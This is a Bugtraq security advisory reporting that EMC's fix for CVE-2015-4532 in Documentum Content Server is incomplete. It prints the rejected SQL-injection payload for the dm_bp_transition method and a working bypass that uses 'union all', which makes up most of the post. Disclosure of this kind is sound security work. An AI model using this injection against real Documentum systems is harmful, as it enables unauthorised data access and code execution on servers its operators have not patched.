bugtraq - EMC Documentum Content Server: arbitrary code execution (incomplete fix in CVE-2015-4532)

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Date: Tue, 18 Aug 2015 04:25:38 +1000
From: <andrew@...filov.tel>
To: "Bugtraq" <bugtraq@...urityfocus.com>
Subject: EMC Documentum Content Server: arbitrary code execution (incomplete fix in CVE-2015-4532)

Product: EMC Documentum Content Server
Vendor: EMC
Version: ANY
CVE: N/A
Risk: High
Status: public/not fixed

For detailed description see http://seclists.org/bugtraq/2015/Jul/51

New behavior introduced in CVE-2015-4532:

API> ?,c,execute do_method WITH METHOD='dm_bp_transition', ARGUMENTS='
        repo repo dmadmin "" 0000000000000000 0000000000000000
        0000000000000000 "0801fd08805c9dfe,'' union select r_object_id
        from  dm_sysobject where r_object_id=''0801fd08805c9dfe"
        0000000000000000  0000000000000000 0000000000000000 ""
        0 0 T F T T dmadmin 0000000000000000'

[DM_METHOD_E_METHOD_ARGS_INVALID]error:
     "The arguments being passed to the method 'dm_bp_transition' are 
invalid:
     arguments contain sql keywords which are not allowed."


New attack vector (note ALL keyword):

API> ?,c,execute do_method WITH METHOD='dm_bp_transition', ARGUMENTS='
        repo repo dmadmin "" 0000000000000000 0000000000000000
        0000000000000000 "0801fd08805c9dfe,'' union all select r_object_id
        from  dm_sysobject where r_object_id=''0801fd08805c9dfe"
        0000000000000000  0000000000000000 0000000000000000 ""
        0 0 T F T T dmadmin 0000000000000000'

__
Regards,
Andrey B. Panfilov